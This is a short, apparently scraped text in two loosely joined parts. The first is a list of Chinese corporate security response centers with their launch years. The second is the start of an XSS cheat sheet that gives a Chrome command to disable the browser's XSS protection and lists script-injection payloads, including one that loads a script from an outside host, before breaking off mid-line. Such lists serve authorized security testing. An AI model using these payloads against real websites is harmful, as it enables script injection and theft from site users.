1. Industry Standards [TPSA19-22] SRC Industry Security Testing Standard: https://security.tencent.com/announcement/msg/180 2. SRC List No. Launch Time SRC Name 01 2012 TSRC (Tencent) 02 2013 ZSRC (Zhubajie) 03 2013 NSRC (NetEase) 04 2013 KSRC (Kingsoft) 05 2013 JSRC (JD) 06 2013 BSRC (Baidu) 07 2013 ASRC (Alibaba) 08 2013 360SRC (360) 09 2014 YSCR (EZVIZ) 10 2014 CSRC (Ctrip) 11 2014 MISRC (Xiaomi) 12 2014 SSRC (Sina) 13 2014 YSRC (JOYY) 14 2014 SGSRC (Sogou) 15 2014 QSRC (Qunar) 16 2015 VSRC (Vipshop) 17 2015 SNSRC (Suning) 18 2015 PSRC (Ping An) 19 2015 LYSRC (Tongcheng-Elong) 20 2016 SNSRC (Tuniu) 21 2016 JJSRC (Jingji World) 22 2016 DSRC (DiDi) 23 2016 100TALSRC (TAL Education) 24 2016 ESRC (Ele.

If you use the Chrome browser to test XSS vectors, disable the browser’s XSS interception first. First, close all Chrome browser processes, then run: 1 chrome.exe -args --disable-xss-auditor --args --disable-web-security Enter non-web-safe mode. 1. Injecting HTML/JavaScript with the <> tags 1 <script>alert('XSS')</script> 1 '';!--"<XSS>=&{()} 1 2 //The quotes around SRC can be omitted <SCRIPT SRC=http://ha.